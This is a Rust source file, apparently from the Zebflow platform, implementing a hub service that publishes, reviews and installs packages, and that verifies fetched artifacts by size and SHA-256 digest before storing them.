use std::borrow::Cow;
use std::collections::{BTreeSet, HashMap, HashSet};
use std::fs;
use std::io::Cursor;
use std::path::{Path, PathBuf};
use std::sync::{Arc, Mutex};
use base64::Engine as _;
use image::{DynamicImage, GenericImageView, ImageFormat, imageops::FilterType};
use rand::RngExt;
use serde::{Deserialize, Serialize};
use serde_json::Value;
use sha2::{Digest, Sha256};
use crate::contracts::kinds::{
DEPENDENCY_LOCK_FILE, DependencyLockContract, DependencyLockSpec, HubPackageArtifactRef,
HubPackageContract, HubPackageFile, HubPackageFileSupply, HubPackageInitialDataStep,
HubPackageInitialization, HubPackageLayout, HubPackageSpec, MAX_HUB_PACKAGE_BYTES,
MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES, PROJECT_CONFIGURATION_FILE,
ProjectConfigurationContract, ProjectConfigurationSpec, decode_hub_package,
decode_pipeline_graph, encode_hub_package,
};
use crate::contracts::{
ContractDocument, ContractMetadata, decode_contract, decode_contract_value, encode_contract,
};
use crate::infra::io::durable::{atomic_write, durable_remove_file};
use crate::infra::io::path::{contained_rel_path, rel_path_escapes_root};
use crate::platform::adapters::data::DataAdapter;
use crate::platform::error::PlatformError;
use crate::platform::model::{
CreateHubTokenRequest,
CreateProjectRequest,
HubAccessGrant,
HubAssetGallery,
HubAssetGalleryImage,
HubAssetMedia,
HubAssetPackage,
HubAssetVersion,
HubAuthority,
HubPublisher,
HubToken,
PIPELINE_DEFINITION_EXTENSION,
PlatformHubRepository,
PlatformServiceInstance,
ProjectFileLayout,
ProjectHubRepository,
ProjectRuntimeSelectionRequest,
RepoTreeScope,
ResolvedProjectLayout,
ZebflowJsonLayout,
now_ts,
slug_segment,
strip_dir_prefix,
};
use crate::platform::policy::package::{
DatabaseInitializationReport, PackagePolicyEntry, PackageReviewOptions, PackageSafetyReview,
initial_data_engine_for_rel_path, review_package_entries, split_initial_data_sql,
};
use crate::platform::policy::report::PolicyRiskLevel;
use crate::platform::sekejap;
use crate::platform::services::hub_repository::{
DEFAULT_HUB_REPOSITORY_PRIORITY, HUB_REPOSITORY_KIND_API, HUB_REPOSITORY_KIND_STATIC,
HubRepositoryChannel, HubRepositoryPackage, HubRepositoryRef, is_direct_hub_base,
validate_remote_hub_url,
};
use crate::platform::services::project::{
derive_trigger_kind_from_source, normalize_pipeline_file_rel_path,
};
use crate::platform::services::tsx_outline::extract_import_sources;
use crate::platform::services::{DependencyLockService, NodeRegistryService, ProjectService};
use crate::platform::sqlite_schema;
use crate::zebfs::normalize_object_path;
pub struct HubService {
control_data: Arc<dyn DataAdapter>,
local_store: HubStore,
public_store: Mutex<Option<HubStore>>,
public_adapter: crate::platform::model::DataAdapterKind,
projects: Arc<ProjectService>,
node_registry: Arc<NodeRegistryService>,
dependency_lock: Arc<DependencyLockService>,
data_root: PathBuf,
install_locks: Mutex<HashMap<PathBuf, Arc<Mutex<()>>>>,
}
#[derive(Clone)]
struct HubStore {
dir: &'static str,
data: Arc<dyn DataAdapter>,
root: PathBuf,
}
impl HubStore {
fn artifact_channel(&self) -> HubArtifactChannel {
HubArtifactChannel::local(self.root.clone())
}
fn artifact_rel(&self, package_id: &str, version: &str) -> String {
format!(
"services/{}/packages/{package_id}/versions/{version}/artifact.json",
self.dir
)
}
}
pub const DEFAULT_HUB_SERVICE_INSTANCE_ID: &str = "hub-default";
pub const HUB_SERVICE_KIND: &str = "hub";
pub const LOCAL_HUB_STORE_DIR: &str = "hub-local";
pub const PUBLIC_HUB_STORE_DIR: &str = "hub-public";
const HUB_SERVICE_SCOPE_OWNER: &str = "hub-service";
const HUB_SERVICE_SCOPE_PROJECT: &str = "hub-service";
const MAX_REMOTE_HUB_ARTIFACT_BYTES: u64 = MAX_HUB_PACKAGE_BYTES as u64;
const DEFAULT_PUBLISHER_MAX_PACKAGES: i64 = 20;
const DEFAULT_PUBLISHER_MAX_PACKAGE_BYTES: i64 = 10 * 1024 * 1024;
const DEFAULT_PUBLISHER_MAX_MEDIA_FILES: i64 = 8;
const HUB_COVER_MEDIA_NAME: &str = "cover.webp";
const HUB_COVER_MEDIA_TYPE: &str = "image/webp";
const DEFAULT_PUBLISHER_MAX_IMAGE_BYTES: i64 = 2 * 1024 * 1024;
const HUB_ASSET_KIND_PIPELINE_BUNDLE: &str = "pipeline_bundle";
const HUB_ASSET_KIND_TEMPLATE_BUNDLE: &str = "template_bundle";
const HUB_ASSET_KIND_FOLDER_BUNDLE: &str = "folder_bundle";
const HUB_ASSET_KIND_PROJECT_BUNDLE: &str = "project_bundle";
const HUB_ASSET_KIND_NODE_BUNDLE: &str = "node_bundle";
pub const HUB_ASSET_KIND_RWE_LIBRARY: &str = "rwe_library";
pub const HUB_ASSET_KIND_SKILL: &str = "skill";
const HUB_ASSET_KINDS: &[&str] = &[
HUB_ASSET_KIND_PIPELINE_BUNDLE,
HUB_ASSET_KIND_TEMPLATE_BUNDLE,
HUB_ASSET_KIND_FOLDER_BUNDLE,
HUB_ASSET_KIND_PROJECT_BUNDLE,
HUB_ASSET_KIND_NODE_BUNDLE,
HUB_ASSET_KIND_RWE_LIBRARY,
HUB_ASSET_KIND_SKILL,
];
fn refuse_reserved_publisher(publisher_id: &str) -> Result<(), PlatformError> {
if publisher_id == crate::platform::blessed::RESERVED_HUB_PUBLISHER_ID {
return Err(PlatformError::new(
"HUB_PUBLISHER_RESERVED",
format!(
"publisher '{publisher_id}' is reserved for the platform's blessed content \
and cannot be published to"
),
));
}
Ok(())
}
fn default_hub_base_url() -> String {
std::env::var("ZEBFLOW_HUB_DEFAULT_BASE_URL")
.ok()
.map(|v| v.trim().trim_end_matches('/').to_string())
.filter(|v| !v.is_empty())
.unwrap_or_else(|| "https://hub.zebflow.com/api".to_string())
}
fn default_static_repository_base_url() -> String {
std::env::var("ZEBFLOW_HUB_DEFAULT_STATIC_BASE_URL")
.ok()
.map(|v| v.trim().trim_end_matches('/').to_string())
.filter(|v| !v.is_empty())
.unwrap_or_else(|| "https://raw.githubusercontent.com/zebflow/hub/main".to_string())
}
#[allow(clippy::type_complexity)]
const OFFICIAL_PLATFORM_REPOSITORIES: &[(&str, &str, fn() -> String, &str, i64)] = &[
(
"zebflow-hub",
"Zebflow Hub (static)",
default_static_repository_base_url,
HUB_REPOSITORY_KIND_STATIC,
10,
),
(
"zebflow-com",
"Zebflow Hub",
default_hub_base_url,
HUB_REPOSITORY_KIND_API,
20,
),
];
fn preserve_or_replace_token(existing: Option<&str>, incoming: &str) -> String {
let trimmed = incoming.trim();
if trimmed.is_empty() {
existing.unwrap_or_default().to_string()
} else {
trimmed.to_string()
}
}
#[derive(Debug, Clone)]
pub struct HubInstallProvenance {
pub source: crate::contracts::kinds::DependencyLockSource,
pub source_id: String,
}
impl HubInstallProvenance {
fn new(
source: crate::contracts::kinds::DependencyLockSource,
package_id: &str,
version: &str,
) -> Self {
Self {
source,
source_id: format!("{package_id}@{version}"),
}
}
}
fn prune_empty_hub_dirs(start: Option<&Path>, stop: &Path) {
let Some(mut current) = start.map(Path::to_path_buf) else {
return;
};
while current.starts_with(stop) && current != stop {
match fs::remove_dir(¤t) {
Ok(()) => {}
Err(_) => break,
}
let Some(parent) = current.parent() else {
break;
};
current = parent.to_path_buf();
}
}
struct PublishSubmission {
authority: HubAuthority,
publisher: HubPublisher,
publisher_owner: String,
publisher_id: String,
publisher_display_name: String,
publisher_url: String,
publisher_email: String,
source_owner: String,
source_project: String,
source_type: String,
source_ref: String,
package_id: String,
version: String,
resolved_title: String,
resolved_description: String,
preview: HubExportPreview,
review_layout: ResolvedProjectLayout,
recorded_layout: Option<HubPackageLayout>,
active_pipelines: Vec<String>,
project_initialization: HubPackageInitialization,
existing_package: Option<HubAssetPackage>,
cover_source: Option<(String, Vec<u8>)>,
visibility: String,
tags: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubPublishSourceItem {
pub source_type: String,
pub source_ref: String,
pub name: String,
pub description: String,
pub path: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubExportPreview {
pub asset_kind: String,
pub source_type: String,
pub source_ref: String,
pub name: String,
pub description: String,
pub entries: Vec<HubPackageFile>,
pub warnings: Vec<String>,
pub total_files: usize,
pub total_bytes: usize,
}
#[derive(Debug, Default, Clone, Serialize)]
pub struct HubSeedReport {
pub published: Vec<String>,
pub skipped: Vec<String>,
pub errors: Vec<String>,
pub retired: Vec<String>,
}
fn hub_entry_from_bytes(rel_path: &str, bytes: &[u8]) -> HubPackageFile {
let (encoding, content) = match std::str::from_utf8(bytes) {
Ok(text) => ("text".to_string(), text.to_string()),
Err(_) => (
"base64".to_string(),
base64::engine::general_purpose::STANDARD.encode(bytes),
),
};
HubPackageFile {
rel_path: rel_path.to_string(),
kind: file_kind_from_path(Path::new(rel_path)),
size_bytes: bytes.len(),
reason: "blessed content carried by this release".to_string(),
encoding,
content: Some(content),
artifact: None,
}
}
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct HubProjectBundlePublishOptions {
#[serde(default)]
pub include_sekejap_schema: bool,
#[serde(default)]
pub include_sqlite_schema: bool,
#[serde(default)]
pub include_libraries: Vec<String>,
#[serde(default)]
pub include_initial_data: bool,
#[serde(default)]
pub initial_data_paths: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubInstallResult {
pub package_id: String,
pub version: String,
pub asset_kind: String,
pub install_root: String,
pub files_written: usize,
pub pipelines_registered: Vec<String>,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub struct HubInstallScope {
#[serde(default = "install_scope_default")]
pub include_code: bool,
#[serde(default = "install_scope_default")]
pub include_schema: bool,
#[serde(default = "install_scope_default")]
pub execute_schema: bool,
}
fn install_scope_default() -> bool {
true
}
impl Default for HubInstallScope {
fn default() -> Self {
Self {
include_code: true,
include_schema: true,
execute_schema: true,
}
}
}
impl HubInstallScope {
pub fn validate(&self) -> Result<(), PlatformError> {
if self.execute_schema && !self.include_schema {
return Err(PlatformError::new(
"HUB_INSTALL_SCOPE_INVALID",
"execute_schema requires include_schema: there is nothing to run when the \
schema files are not written",
));
}
if !self.include_code && !self.include_schema && !self.execute_schema {
return Err(PlatformError::new(
"HUB_INSTALL_SCOPE_INVALID",
"an install with neither code nor schema would install nothing",
));
}
Ok(())
}
}
#[derive(Debug, Clone, Serialize)]
pub struct ProjectBundleInstallResult {
pub owner: String,
pub project: String,
pub scope: HubInstallScope,
pub files_written: Vec<String>,
pub skipped_files: Vec<String>,
pub pipelines_registered: Vec<String>,
pub pipelines_activated: Vec<String>,
pub pipelines_not_activated: Vec<String>,
pub unexecuted_initial_data: Vec<String>,
pub schema_executed: bool,
pub database_initialization: Vec<DatabaseInitializationReport>,
}
#[derive(Debug, Clone, Serialize)]
pub struct ProjectBundleInstallReview {
pub package_id: String,
pub version: String,
pub asset_kind: String,
pub owner: String,
pub project: String,
pub scope: HubInstallScope,
pub files_written: Vec<String>,
pub skipped_files: Vec<String>,
pub pipelines_registered: Vec<String>,
pub pipelines_activated: Vec<String>,
pub pipelines_not_activated: Vec<String>,
pub schema_executed: bool,
pub unexecuted_initial_data: Vec<String>,
pub database_initialization: Vec<DatabaseInitializationReport>,
pub project_initialization: Value,
pub nodes_used: Vec<String>,
pub credentials_required: Vec<String>,
pub external_urls: Vec<String>,
pub database_effects: Vec<String>,
pub filesystem_effects: Vec<String>,
#[serde(default)]
pub network_effects: Vec<String>,
#[serde(default)]
pub code_execution: Vec<String>,
pub public_endpoints: Vec<String>,
pub schedules: Vec<String>,
pub large_files: Vec<String>,
pub seed_data: Vec<String>,
pub warnings: Vec<String>,
pub violations: Vec<String>,
pub installable: bool,
pub risk_level: String,
}
struct PreparedHubInstallEntry {
install_rel: String,
destination: PathBuf,
bytes: Vec<u8>,
previous: Option<Vec<u8>>,
}
const HUB_ARTIFACT_DIR: &str = "artifacts";
const LOCAL_NODE_BUNDLE_BODY_HAS_NO_CHANNEL: &str = "a bundle supplied as a document body says nothing about where its artifacts live; \
install it from its file instead";
#[derive(Debug, Clone)]
pub enum HubArtifactChannel {
Local(PathBuf),
Remote(RemoteHubArtifacts),
Unresolvable(&'static str),
}
#[derive(Debug, Clone)]
pub struct RemoteHubArtifacts {
cache_base: PathBuf,
origin: String,
}
impl HubArtifactChannel {
pub fn local(base: impl Into<PathBuf>) -> Self {
Self::Local(base.into())
}
pub fn unresolvable(reason: &'static str) -> Self {
Self::Unresolvable(reason)
}
fn resolve(
&self,
rel_path: &str,
artifact: &HubPackageArtifactRef,
declared_size_bytes: usize,
) -> Result<Vec<u8>, PlatformError> {
let (base, holder) = match self {
Self::Local(base) => (base, "this channel".to_string()),
Self::Remote(remote) => (&remote.cache_base, remote.origin.clone()),
Self::Unresolvable(reason) => {
return Err(PlatformError::new(
"HUB_ARTIFACT_UNRESOLVED",
format!(
"file '{rel_path}' references artifact {} and {reason}",
artifact.sha256
),
));
}
};
if declared_size_bytes > MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES {
return Err(PlatformError::new(
"HUB_ARTIFACT_TOO_LARGE",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes, over the \
{MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES} byte limit for a referenced artifact"
),
));
}
let path = referenced_artifact_path(base, &artifact.sha256)?;
let metadata = match fs::symlink_metadata(&path) {
Ok(metadata) => metadata,
Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
return Err(PlatformError::new(
"HUB_ARTIFACT_MISSING",
format!(
"file '{rel_path}' references artifact {}, which {holder} does not have",
artifact.sha256
),
));
}
Err(error) => return Err(error.into()),
};
if !metadata.is_file() {
return Err(PlatformError::new(
"HUB_ARTIFACT_INVALID",
format!("artifact {} is not a regular file", artifact.sha256),
));
}
if metadata.len() != declared_size_bytes as u64 {
return Err(PlatformError::new(
"HUB_ARTIFACT_SIZE_MISMATCH",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes but artifact {} is {} bytes",
artifact.sha256,
metadata.len()
),
));
}
let bytes = fs::read(&path)?;
let actual = sha256_hex(&bytes);
if actual != artifact.sha256 {
return Err(PlatformError::new(
"HUB_ARTIFACT_DIGEST_MISMATCH",
format!(
"file '{rel_path}' expects artifact {}, but the stored bytes hash to {actual}",
artifact.sha256
),
));
}
Ok(bytes)
}
}
fn local_document_channel_base(document_path: &Path) -> PathBuf {
document_path
.parent()
.unwrap_or(Path::new("."))
.to_path_buf()
}
fn referenced_artifact_path(base: &Path, sha256: &str) -> Result<PathBuf, PlatformError> {
validate_artifact_digest(sha256)?;
Ok(base.join(HUB_ARTIFACT_DIR).join(sha256))
}
fn validate_artifact_digest(sha256: &str) -> Result<(), PlatformError> {
let valid = sha256.len() == 64
&& sha256
.bytes()
.all(|byte| byte.is_ascii_digit() || (b'a'..=b'f').contains(&byte));
if !valid {
return Err(PlatformError::new(
"HUB_ARTIFACT_INVALID",
format!("artifact digest '{sha256}' is not 64 lowercase hexadecimal digits"),
));
}
Ok(())
}
const REMOTE_ARTIFACT_CONNECT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(10);
const REMOTE_ARTIFACT_READ_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(60);
static REMOTE_ARTIFACT_CLIENT: std::sync::LazyLock<Result<reqwest::Client, String>> =
std::sync::LazyLock::new(|| {
reqwest::Client::builder()
.redirect(reqwest::redirect::Policy::none())
.connect_timeout(REMOTE_ARTIFACT_CONNECT_TIMEOUT)
.read_timeout(REMOTE_ARTIFACT_READ_TIMEOUT)
.build()
.map_err(|error| error.to_string())
});
fn cached_artifact_matches(path: &Path, declared_size_bytes: usize, sha256: &str) -> bool {
let Ok(metadata) = fs::symlink_metadata(path) else {
return false;
};
if !metadata.is_file() || metadata.len() != declared_size_bytes as u64 {
return false;
}
let Ok(mut file) = std::fs::File::open(path) else {
return false;
};
let mut hasher = Sha256::new();
let mut buffer = [0_u8; 64 * 1024];
loop {
match std::io::Read::read(&mut file, &mut buffer) {
Ok(0) => break,
Ok(read) => hasher.update(&buffer[..read]),
Err(_) => return false,
}
}
hex_lower(&hasher.finalize()) == sha256
}
async fn fetch_referenced_artifact(
store_base: &Path,
url: &str,
read_token: &str,
rel_path: &str,
artifact: &HubPackageArtifactRef,
declared_size_bytes: usize,
) -> Result<(), PlatformError> {
if declared_size_bytes > MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES {
return Err(PlatformError::new(
"HUB_ARTIFACT_TOO_LARGE",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes, over the \
{MAX_HUB_PACKAGE_REFERENCED_FILE_BYTES} byte limit for a referenced artifact"
),
));
}
let destination = referenced_artifact_path(store_base, &artifact.sha256)?;
if cached_artifact_matches(&destination, declared_size_bytes, &artifact.sha256) {
return Ok(());
}
validate_remote_hub_url(url)?;
let client = REMOTE_ARTIFACT_CLIENT.as_ref().map_err(|error| {
PlatformError::new(
"HUB_ARTIFACT_FETCH_FAILED",
format!("no client with the artifact fetch policy could be built: {error}"),
)
})?;
let mut request = client.get(url);
if !read_token.trim().is_empty() {
request = request.bearer_auth(read_token.trim());
}
let mut response = request.send().await.map_err(|err| {
PlatformError::new(
"HUB_ARTIFACT_FETCH_FAILED",
format!(
"file '{rel_path}' references artifact {} and fetching it failed: {err}",
artifact.sha256
),
)
})?;
let status = response.status();
if status.is_redirection() {
return Err(PlatformError::new(
"HUB_ARTIFACT_REDIRECTED",
format!(
"file '{rel_path}' references artifact {}, and the hub answered {status} with a \
redirect; an artifact is fetched from the hub that serves it and nowhere else",
artifact.sha256
),
));
}
if status == reqwest::StatusCode::NOT_FOUND || status == reqwest::StatusCode::GONE {
return Err(PlatformError::new(
"HUB_ARTIFACT_MISSING",
format!(
"file '{rel_path}' references artifact {}, which the hub does not have ({status})",
artifact.sha256
),
));
}
if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN {
return Err(PlatformError::new(
"HUB_ARTIFACT_FORBIDDEN",
format!(
"file '{rel_path}' references artifact {}, and the hub refused to serve it \
({status})",
artifact.sha256
),
));
}
if !status.is_success() {
return Err(PlatformError::new(
"HUB_ARTIFACT_FETCH_FAILED",
format!(
"file '{rel_path}' references artifact {} and the hub answered {status}",
artifact.sha256
),
));
}
if let Some(length) = response.content_length()
&& length != declared_size_bytes as u64
{
return Err(PlatformError::new(
"HUB_ARTIFACT_SIZE_MISMATCH",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes but the hub offers \
{length} bytes for artifact {}",
artifact.sha256
),
));
}
let artifacts_dir = destination
.parent()
.map(Path::to_path_buf)
.unwrap_or_else(|| store_base.join(HUB_ARTIFACT_DIR));
fs::create_dir_all(&artifacts_dir)?;
let mut staged = tempfile::Builder::new()
.prefix(".zebflow-artifact-")
.tempfile_in(&artifacts_dir)?;
let mut hasher = Sha256::new();
let mut received = 0_usize;
loop {
let chunk = response.chunk().await.map_err(|err| {
PlatformError::new(
"HUB_ARTIFACT_FETCH_FAILED",
format!(
"file '{rel_path}' references artifact {} and reading it failed: {err}",
artifact.sha256
),
)
})?;
let Some(chunk) = chunk else { break };
received = received.saturating_add(chunk.len());
if received > declared_size_bytes {
return Err(PlatformError::new(
"HUB_ARTIFACT_SIZE_MISMATCH",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes but the hub is still \
sending bytes for artifact {}",
artifact.sha256
),
));
}
hasher.update(&chunk);
std::io::Write::write_all(staged.as_file_mut(), &chunk)?;
}
if received != declared_size_bytes {
return Err(PlatformError::new(
"HUB_ARTIFACT_SIZE_MISMATCH",
format!(
"file '{rel_path}' declares {declared_size_bytes} bytes but artifact {} arrived \
as {received} bytes",
artifact.sha256
),
));
}
let actual = hex_lower(&hasher.finalize());
if actual != artifact.sha256 {
return Err(PlatformError::new(
"HUB_ARTIFACT_DIGEST_MISMATCH",
format!(
"file '{rel_path}' expects artifact {}, but the fetched bytes hash to {actual}",
artifact.sha256
),
));
}
std::io::Write::flush(staged.as_file_mut())?;
crate::infra::io::durable::durable_persist(staged, &destination)?;
Ok(())
}
#[derive(Debug, Clone, Serialize)]
pub struct HubInstallReview {
pub package_id: String,
pub version: String,
pub target_folder: String,
pub install_root: String,
pub asset_kind: String,
pub files_added: Vec<String>,
pub files_overwritten: Vec<String>,
pub pipelines_registered: Vec<String>,
pub nodes_used: Vec<String>,
pub credentials_required: Vec<String>,
pub external_urls: Vec<String>,
pub database_effects: Vec<String>,
pub filesystem_effects: Vec<String>,
#[serde(default)]
pub network_effects: Vec<String>,
#[serde(default)]
pub code_execution: Vec<String>,
pub public_endpoints: Vec<String>,
pub schedules: Vec<String>,
pub large_files: Vec<String>,
pub seed_data: Vec<String>,
#[serde(default)]
pub database_initialization: Vec<DatabaseInitializationReport>,
pub project_initialization: serde_json::Value,
pub warnings: Vec<String>,
#[serde(default)]
pub violations: Vec<String>,
pub installable: bool,
pub risk_level: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubPublishReview {
pub package_id: String,
pub version: String,
pub asset_kind: String,
pub source_type: String,
pub source_ref: String,
pub title: String,
pub description: String,
pub visibility: String,
pub tags: Vec<String>,
pub total_files: usize,
pub total_bytes: usize,
pub files: Vec<HubPackageFile>,
pub media: Vec<HubPublishMediaReview>,
pub nodes_used: Vec<String>,
pub credentials_required: Vec<String>,
pub external_urls: Vec<String>,
pub database_effects: Vec<String>,
pub filesystem_effects: Vec<String>,
#[serde(default)]
pub network_effects: Vec<String>,
#[serde(default)]
pub code_execution: Vec<String>,
pub public_endpoints: Vec<String>,
pub schedules: Vec<String>,
pub large_files: Vec<String>,
pub seed_data: Vec<String>,
#[serde(default)]
pub database_initialization: Vec<DatabaseInitializationReport>,
pub project_initialization: serde_json::Value,
pub warnings: Vec<String>,
#[serde(default)]
pub violations: Vec<String>,
pub risk_level: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubPublishMediaReview {
pub name: String,
pub role: String,
pub content_type: String,
pub size_bytes: usize,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubRemotePackRow {
pub repository_id: String,
pub repository_title: String,
pub repository_kind: String,
pub repository_priority: i64,
pub package_id: String,
#[serde(skip_serializing_if = "String::is_empty")]
pub publisher_owner: String,
pub publisher_id: String,
pub publisher_display_name: String,
pub publisher_url: String,
#[serde(skip_serializing_if = "String::is_empty")]
pub publisher_email: String,
pub asset_kind: String,
pub title: String,
pub description: String,
pub summary: String,
pub image_url: String,
pub gallery: Value,
pub visibility: String,
pub tags: Vec<String>,
pub latest_version: String,
pub updated_at: i64,
pub source: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct HubRepositorySourceStatus {
pub repository_id: String,
pub title: String,
pub kind: String,
pub base_url: String,
pub priority: i64,
pub ok: bool,
#[serde(skip_serializing_if = "String::is_empty")]
pub error: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct PlatformHubListing {
pub items: Vec<HubRemotePackRow>,
pub sources: Vec<HubRepositorySourceStatus>,
}
fn pack_row(
source: &HubRepositoryRef,
item: HubRepositoryPackage,
origin: &str,
) -> HubRemotePackRow {
HubRemotePackRow {
repository_id: source.repository_id.clone(),
repository_title: source.title.clone(),
repository_kind: if source.kind.trim().is_empty() {
HUB_REPOSITORY_KIND_API.to_string()
} else {
source.kind.clone()
},
repository_priority: source.priority,
package_id: item.package_id,
publisher_owner: item.publisher_owner,
publisher_id: item.publisher_id,
publisher_display_name: item.publisher_display_name,
publisher_url: item.publisher_url,
publisher_email: item.publisher_email,
asset_kind: item.asset_kind,
title: item.title,
description: item.description,
summary: item.summary,
image_url: item.image_url,
gallery: item.gallery,
visibility: item.visibility,
tags: item.tags,
latest_version: item.latest_version,
updated_at: item.updated_at,
source: origin.to_string(),
}
}
#[derive(Debug, Clone, serde::Serialize, Deserialize)]
pub struct RemoteHubPublishRequest {
pub package_id: String,
pub version: String,
#[serde(default)]
pub title: String,
#[serde(default)]
pub description: String,
#[serde(default)]
pub summary: String,
#[serde(default)]
pub description_md: String,
#[serde(default)]
pub media: Vec<RemoteHubPublishMedia>,
#[serde(default)]
pub gallery: HubAssetGallery,
#[serde(default)]
pub visibility: String,
#[serde(default)]
pub tags: Vec<String>,
pub source_owner: String,
pub source_project: String,
pub source_kind: String,
pub source_ref: String,
pub artifact: Value,
}
#[derive(Debug, Clone, Default, serde::Serialize, Deserialize)]
pub struct HubPresentationUpdate {
#[serde(default)]
pub summary: Option<String>,
#[serde(default)]
pub description_md: Option<String>,
#[serde(default)]
pub image_file_path: Option<String>,
#[serde(default)]
pub gallery: Option<HubAssetGallery>,
}
#[derive(Debug, Clone, Default)]
struct HubPresentation {
summary: String,
description_md: String,
image_url: String,
media: Vec<HubAssetMedia>,
gallery: HubAssetGallery,
}
impl HubPresentation {
fn from_existing(existing: Option<&HubAssetPackage>) -> Self {
let Some(package) = existing else {
return Self::default();
};
Self {
summary: package.summary.clone(),
description_md: package.description_md.clone(),
image_url: package.image_url.clone(),
media: package.media.clone(),
gallery: package.gallery.clone(),
}
}
fn replace_cover(&mut self, package_id: &str, cover: Option<HubAssetMedia>) {
let Some(cover) = cover else {
return;
};
let alt = self
.gallery
.cover
.as_ref()
.map(|item| item.alt.clone())
.unwrap_or_default();
self.media.retain(|item| item.role != "cover");
self.media.insert(0, cover.clone());
self.gallery.cover = Some(HubAssetGalleryImage {
kind: "image".to_string(),
media_name: cover.name.clone(),
alt,
});
self.image_url = format!("/api/hub/remote/assets/{package_id}/media/{}", cover.name);
}
}
#[derive(Debug, Clone, serde::Serialize, Deserialize)]
pub struct RemoteHubPublishMedia {
pub name: String,
#[serde(default)]
pub role: String,
pub content_type: String,
#[serde(default)]
pub encoding: String,
#[serde(default)]
pub size_bytes: usize,
#[serde(default)]
pub sha256: String,
#[serde(default)]
pub content: String,
}
impl HubService {
pub fn new(
control_data: Arc<dyn DataAdapter>,
local_hub_data: Arc<dyn DataAdapter>,
public_adapter: crate::platform::model::DataAdapterKind,
projects: Arc<ProjectService>,
node_registry: Arc<NodeRegistryService>,
dependency_lock: Arc<DependencyLockService>,
data_root: PathBuf,
) -> Self {
let local_root = data_root.join("services").join(LOCAL_HUB_STORE_DIR);
Self {
control_data,
local_store: HubStore {
dir: LOCAL_HUB_STORE_DIR,
data: local_hub_data,
root: local_root,
},
public_store: Mutex::new(None),
public_adapter,
projects,
node_registry,
dependency_lock,
data_root,
install_locks: Mutex::new(HashMap::new()),
}
}
fn public_store_if_exists(&self) -> Result<Option<HubStore>, PlatformError> {
let mut guard = self
.public_store
.lock()
.unwrap_or_else(|error| error.into_inner());
if let Some(store) = guard.as_ref() {
return Ok(Some(store.clone()));
}
let root = self.data_root.join("services").join(PUBLIC_HUB_STORE_DIR);
if !root.join("hub.db").is_file() {
return Ok(None);
}
let data = crate::platform::adapters::data::build_hub_data_adapter(
self.public_adapter,
&root.join("hub.db"),
)?;
let store = HubStore {
dir: PUBLIC_HUB_STORE_DIR,
data,
root,
};
*guard = Some(store.clone());
Ok(Some(store))
}
fn require_public_store(&self) -> Result<HubStore, PlatformError> {
self.require_enabled()?;
let mut guard = self
.public_store
.lock()
.unwrap_or_else(|error| error.into_inner());
if let Some(store) = guard.as_ref() {
return Ok(store.clone());
}
let root = self.data_root.join("services").join(PUBLIC_HUB_STORE_DIR);
let data = crate::platform::adapters::data::build_hub_data_adapter(
self.public_adapter,
&root.join("hub.db"),
)?;
let store = HubStore {
dir: PUBLIC_HUB_STORE_DIR,
data,
root,
};
*guard = Some(store.clone());
Ok(store)
}
pub fn get_default_service_instance(
&self,
) -> Result<Option<PlatformServiceInstance>, PlatformError> {
self.control_data
.get_platform_service_instance(DEFAULT_HUB_SERVICE_INSTANCE_ID)
}
pub fn ensure_default_service_instance(
&self,
host_office_id: &str,
public_base_url: &str,
enabled: bool,
) -> Result<PlatformServiceInstance, PlatformError> {
let host_office_id = host_office_id.trim();
if host_office_id.is_empty() {
return Err(PlatformError::new(
"HUB_SERVICE_HOST_REQUIRED",
"hub service host office is required",
));
}
if self
.control_data
.get_platform_office(host_office_id)?
.is_none()
{
return Err(PlatformError::new(
"HUB_SERVICE_HOST_MISSING",
"hub service host office was not found",
));
}
let public_base_url = public_base_url.trim().trim_end_matches('/');
let public_base_url = if public_base_url.is_empty() {
default_hub_base_url()
} else {
public_base_url.to_string()
};
let existing = self.get_default_service_instance()?;
let placement_changed = existing.as_ref().is_some_and(|item| {
item.host_office_id != host_office_id
|| item.state_office_id != host_office_id
|| item.public_base_url != public_base_url
|| item.enabled != enabled
});
let now = now_ts();
let service = PlatformServiceInstance {
service_instance_id: DEFAULT_HUB_SERVICE_INSTANCE_ID.to_string(),
service_kind: HUB_SERVICE_KIND.to_string(),
display_label: "Hub".to_string(),
host_office_id: host_office_id.to_string(),
state_office_id: host_office_id.to_string(),
public_base_url,
enabled,
status: if enabled {
"enabled".to_string()
} else {
"disabled".to_string()
},
placement_generation: existing
.as_ref()
.map(|item| {
if placement_changed {
item.placement_generation.saturating_add(1)
} else {
item.placement_generation.max(1)
}
})
.unwrap_or(1),
created_at: existing.as_ref().map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
self.control_data.put_platform_service_instance(&service)?;
if enabled {
self.require_public_store()?;
}
Ok(service)
}
pub fn set_authority_enabled(
&self,
owner: &str,
project: &str,
enabled: bool,
) -> Result<HubAuthority, PlatformError> {
let _ = (owner, project);
let store = self.require_public_store()?;
let authority = self.ensure_service_authority(&store)?;
let now = now_ts();
let next = HubAuthority {
enabled,
updated_at: now,
..authority
};
store.data.put_hub_authority(&next)?;
Ok(next)
}
pub fn list_asset_packages(&self) -> Result<Vec<HubAssetPackage>, PlatformError> {
self.local_store.data.list_hub_asset_packages()
}
pub fn list_asset_packages_by_owner(
&self,
owner: &str,
